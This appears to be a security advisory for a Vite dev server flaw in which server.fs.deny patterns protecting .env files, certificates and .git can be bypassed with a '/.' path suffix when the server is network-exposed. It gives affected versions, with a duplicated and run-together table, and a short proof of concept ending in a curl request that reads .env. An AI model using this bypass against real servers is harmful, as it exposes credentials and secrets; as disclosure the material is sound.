| Package | Affected versions | Patched versions |
|---|---|---|
| vite | ≥ 5.0.0, < 5.4.19≥ 6.0.0, < 6.1.6≥ 6.2.0, < 6.2.7≥ 6.3.0, < 6.3.4< 4.5.14 | 5.4.196.1.66.2.76.3.44.5.14 |
| vite | ≥ 5.0.0, < 5.4.19≥ 6.0.0, < 6.1.6≥ 6.2.0, < 6.2.7≥ 6.3.0, < 6.3.4< 4.5.14 | 5.4.196.1.66.2.76.3.44.5.14 |
The contents of files in the project root that are denied by a file matching pattern can be returned to the browser.
Only apps explicitly exposing the Vite dev server to the network (using --host or server.host config option) are affected.
Only files that are under project root and are denied by a file matching pattern can be bypassed.
.env, .env.*, *.{crt,pem}, **/.env**/.git/**, .git/**, .git/**/*server.fs.deny can contain patterns matching against files (by default it includes .env, .env.*, *.{crt,pem} as such patterns).
These patterns were able to bypass for files under root by using a combination of slash and dot (/.).
npm create vite@latest
cd vite-project/
cat "secret" > .env
npm install
npm run dev
curl --request-target /.env/. http://localhost:5173
Running one of these products? Scan your site to see whether it exposes a vulnerable version.
Scan my site free